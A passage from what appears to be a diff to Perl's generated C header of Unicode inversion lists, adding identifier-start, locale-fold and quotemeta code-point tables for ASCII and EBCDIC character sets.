 	0x1BC70,
@@ -56111,8 +168316,6 @@
 	0x1BC89,
 	0x1BC90,
 	0x1BC9A,
-	0x1BC9E,
-	0x1BC9F,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -56173,6 +168376,4034 @@
 	0x1D7C3,
 	0x1D7C4,
 	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL__PERL_IDSTART_invlist[] = { /* for EBCDIC 037 */
+	1211,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x6D,
+	0x6E,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE33,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL__PERL_PROBLEMATIC_LOCALE_FOLDEDS_START_invlist[] = { /* for all charsets */
+	26,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x100,
+	0x130,
+	0x131,
+	0x149,
+	0x14A,
+	0x178,
+	0x179,
+	0x17F,
+	0x180,
+	0x1F0,
+	0x1F1,
+	0x2BC,
+	0x2BD,
+	0x39C,
+	0x39D,
+	0x3BC,
+	0x3BD,
+	0x1E96,
+	0x1E9B,
+	0x1E9E,
+	0x1E9F,
+	0x212A,
+	0x212C,
+	0xFB00,
+	0xFB07
+};
+
+static const UV PL__PERL_PROBLEMATIC_LOCALE_FOLDS_invlist[] = { /* for all charsets */
+	24,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x100,
+	0x130,
+	0x131,
+	0x149,
+	0x14A,
+	0x178,
+	0x179,
+	0x17F,
+	0x180,
+	0x1F0,
+	0x1F1,
+	0x39C,
+	0x39D,
+	0x3BC,
+	0x3BD,
+	0x1E96,
+	0x1E9B,
+	0x1E9E,
+	0x1E9F,
+	0x212A,
+	0x212C,
+	0xFB00,
+	0xFB07
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL__PERL_QUOTEMETA_invlist[] = { /* for ASCII/Latin1 */
+	78,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0x41,
+	0x5B,
+	0x5F,
+	0x60,
+	0x61,
+	0x7B,
+	0xA8,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xAF,
+	0xB0,
+	0xB2,
+	0xB6,
+	0xB7,
+	0xBB,
+	0xBC,
+	0xBF,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x34F,
+	0x350,
+	0x61C,
+	0x61D,
+	0x115F,
+	0x1161,
+	0x1680,
+	0x1681,
+	0x17B4,
+	0x17B6,
+	0x180B,
+	0x180F,
+	0x2000,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x2070,
+	0x2190,
+	0x2460,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2C00,
+	0x2E00,
+	0x2E80,
+	0x3000,
+	0x3004,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3164,
+	0x3165,
+	0xFD3E,
+	0xFD40,
+	0xFE00,
+	0xFE10,
+	0xFE45,
+	0xFE47,
+	0xFEFF,
+	0xFF00,
+	0xFFA0,
+	0xFFA1,
+	0xFFF0,
+	0xFFF9,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0000,
+	0xE1000
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL__PERL_QUOTEMETA_invlist[] = { /* for EBCDIC 1047 */
+	92,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x6D,
+	0x6E,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xB3,
+	0xB4,
+	0xB7,
+	0xBD,
+	0xBE,
+	0xBF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE2,
+	0xFF,
+	0x100,
+	0x34F,
+	0x350,
+	0x61C,
+	0x61D,
+	0x115F,
+	0x1161,
+	0x1680,
+	0x1681,
+	0x17B4,
+	0x17B6,
+	0x180B,
+	0x180F,
+	0x2000,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x2070,
+	0x2190,
+	0x2460,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2C00,
+	0x2E00,
+	0x2E80,
+	0x3000,
+	0x3004,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3164,
+	0x3165,
+	0xFD3E,
+	0xFD40,
+	0xFE00,
+	0xFE10,
+	0xFE45,
+	0xFE47,
+	0xFEFF,
+	0xFF00,
+	0xFFA0,
+	0xFFA1,
+	0xFFF0,
+	0xFFF9,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0000,
+	0xE1000
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL__PERL_QUOTEMETA_invlist[] = { /* for EBCDIC 037 */
+	90,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x6D,
+	0x6E,
+	0x70,
+	0x79,
+	0x80,
